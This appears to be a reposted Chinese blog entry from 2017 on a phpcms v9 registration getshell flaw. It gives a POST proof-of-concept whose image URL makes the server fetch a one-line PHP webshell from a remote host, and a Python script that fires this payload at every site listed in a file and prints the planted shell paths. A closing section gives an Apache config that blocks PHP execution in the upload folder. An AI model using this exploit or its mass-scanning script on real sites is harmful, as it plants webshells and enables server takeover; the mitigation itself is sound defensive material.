phpcms v9 前台注册getshell 2017/04/09

poc:

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://192.168.200.136/0.txt?.php#.jpg>&dosubmit=1&protocol=

这里的1.txt文件 就是放一句话的

也可以在远程服务器 放一个文本文件

效果图: 

python

#coding:utf-8import requests,re

with open('url.txt')as f:for i in f.readlines():
 url = i.strip()+"/"
 payload ="siteid=1&modelid=11&username=newbie&password=newbie&[email protected]&info%5Bcontent%5D=%3Cimg%20src=http://baidu.com/xxx.txt?.php#.jpg>&dosubmit=1&protocol="
 r = requests.post(url=url,data=payload).text
 try:
 pattern = re.compile(".*?src=(.*?)>.*?")print url+":"+re.findall(pattern,r)except:print url+":pass"

 

临时防护方案:

设置网站目录下的 /uploadfile 目录及子目录不解析 php 文件。推荐 phpcms 官方演示站也这么配置,即便上传了Shell也不会执行。

我的网站路径是 /var/www/html/uploadfile,根据你的真实情况自行调整

以 apache v2.4 为例,在 apache2.conf 中添加如下配置:

<Directory /var/www/html/uploadfile>
  # 禁止解析 php 文件
  php_admin_flag engine off
  # 禁止用户下载 php 文件
  <filesmatch ".+\.ph(p[345]?|t|tml)$">
   Order deny,allow
   Deny from all
  </filesmatch>
</Directory>

猜你喜欢

转载自paynexss.iteye.com/blog/2368683
今日推荐